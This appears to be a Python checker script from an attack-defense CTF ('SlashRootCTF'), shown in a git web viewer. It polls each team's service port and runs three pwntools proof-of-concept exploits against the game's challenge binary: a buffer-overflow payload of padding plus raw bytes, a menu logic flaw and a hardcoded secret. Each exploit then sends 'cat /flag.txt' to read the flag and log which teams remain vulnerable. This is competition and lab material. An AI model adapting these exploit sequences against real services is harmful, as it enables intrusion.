You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

174 lines
5.1 KiB

4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
4 years ago
  1. #! /usr/bin/env python3
  2. # from pwn import context, remote
  3. from pwn import remote, context
  4. from multiprocessing import Pool
  5. from time import sleep
  6. import logging
  7. import os
  8. context.log_level = logging.ERROR
  9. INTERVAL = 60
  10. HOST = "192.168.2.20"
  11. TOTAL_TEAMS = 10
  12. FORMAT = "SlashRootCTF"
  13. def poc0(host, port):
  14. try:
  15. with remote(host, port) as p:
  16. p.recvuntil(">")
  17. p.sendline(("A" * 32) + ("\x11\x11\x11\x11\x11\x11\x11\x11\x01"))
  18. msg = p.recvuntil(">").decode('utf-8')
  19. # print(msg)
  20. if "young" in msg:
  21. p.sendline("y")
  22. p.recvuntil(">")
  23. p.sendline("2")
  24. p.recvuntil(">")
  25. p.sendline("4")
  26. p.recvuntil(">")
  27. p.sendline("y")
  28. for _ in range(10):
  29. p.recvuntil(">")
  30. p.sendline("99")
  31. p.sendline("cat /flag.txt")
  32. flag = p.recvuntil("}").decode('utf-8')
  33. # print flag
  34. if FORMAT in flag:
  35. return flag[-46:]
  36. else:
  37. return False
  38. else:
  39. return False
  40. except EOFError:
  41. return False
  42. def poc1(host, port):
  43. try:
  44. with remote(host, port) as p:
  45. p.recvuntil(">")
  46. p.sendline("Leo")
  47. p.recvuntil(">")
  48. p.sendline("y")
  49. for _ in range(2):
  50. p.recvuntil(">")
  51. p.sendline("3")
  52. p.recvuntil(">")
  53. p.sendline("0")
  54. if "Who" in p.recvuntil(">").decode('utf-8'):
  55. return False
  56. p.sendline("y")
  57. p.recvuntil(">")
  58. p.sendline("1")
  59. p.recvuntil(">")
  60. p.sendline("4")
  61. p.recvuntil(">")
  62. p.sendline("y")
  63. for _ in range(10):
  64. p.recvuntil(">")
  65. p.sendline("99")
  66. p.sendline("cat /flag.txt")
  67. flag = p.recvuntil("}").decode('utf-8')
  68. if FORMAT in flag:
  69. return flag[-46:]
  70. else:
  71. return False
  72. except EOFError:
  73. return False
  74. def poc2(host, port):
  75. try:
  76. with remote(host, port) as p:
  77. p.recvuntil(">")
  78. p.sendline("__th3_w0rLd_D3str0Y3r_15_b4ck__")
  79. p.recvuntil(">")
  80. p.sendline("y")
  81. p.recvuntil(">")
  82. p.sendline("6")
  83. if "Lv: 1000000" in p.recvuntil(">").decode('utf-8'):
  84. p.sendline("2")
  85. p.recvuntil(">")
  86. p.sendline("4")
  87. p.recvuntil(">")
  88. p.sendline("y")
  89. for _ in range(10):
  90. p.recvuntil(">")
  91. p.sendline("99")
  92. p.sendline("cat /flag.txt")
  93. flag = p.recvuntil("}").decode('utf-8')
  94. if FORMAT in flag:
  95. return flag[-46:]
  96. else:
  97. return False
  98. else:
  99. return False
  100. except EOFError:
  101. return False
  102. def poc(host, port):
  103. with remote(host, port) as p:
  104. msg = p.recvuntil(">").decode('utf-8')
  105. if "Who" in msg:
  106. p.sendline("Leo")
  107. msg = p.recvuntil(">").decode('utf-8')
  108. if "Leo" in msg:
  109. p.sendline("Y")
  110. msg = p.recvuntil(">").decode('utf-8')
  111. if "What" in msg:
  112. return True
  113. return False
  114. def check(team):
  115. port = (60004 + (team*100))
  116. r = poc(HOST, port)
  117. r0 = poc0(HOST, port)
  118. r1 = poc1(HOST, port)
  119. r2 = poc2(HOST, port)
  120. # r0 = False
  121. # r1 = False
  122. # r2 = False
  123. return "Team [{:02d}] {} {} {} {}".format(team, r, r0, r1, r2)
  124. def init_logging(logFileName: str, debug: bool = False):
  125. logFormatter = logging.Formatter(
  126. fmt="[%(asctime)s][%(levelname)s] %(message)s",
  127. datefmt='%d-%b-%y %H:%M:%S')
  128. rootLogger = logging.getLogger("checker")
  129. fileHandler = logging.FileHandler(logFileName)
  130. fileHandler.setFormatter(logFormatter)
  131. rootLogger.addHandler(fileHandler)
  132. consoleHandler = logging.StreamHandler()
  133. consoleHandler.setFormatter(logFormatter)
  134. rootLogger.addHandler(consoleHandler)
  135. rootLogger.setLevel(logging.DEBUG if debug else logging.INFO)
  136. return rootLogger
  137. if __name__ == "__main__":
  138. checker_logger = init_logging("checker.log")
  139. while True:
  140. with Pool(TOTAL_TEAMS) as p:
  141. results = p.map(check, range(1, TOTAL_TEAMS+1))
  142. r0 = r1 = r2 = r3 = 0
  143. for result in results:
  144. checker_logger.info(result)
  145. status = result.split(' ')[2:]
  146. # print(status)
  147. r0 = (r0 + 1) if status[0] != "False" else (r0)
  148. r1 = (r1 + 1) if status[1] != "False" else (r1)
  149. r2 = (r2 + 1) if status[2] != "False" else (r2)
  150. r3 = (r3 + 1) if status[3] != "False" else (r3)
  151. checker_logger.info(
  152. "Summary: {} working as expected, 1st vuln {}, 2nd vuln {}, 3rd vuln {}".format(r0, r1, r2, r3))
  153. sleep(INTERVAL)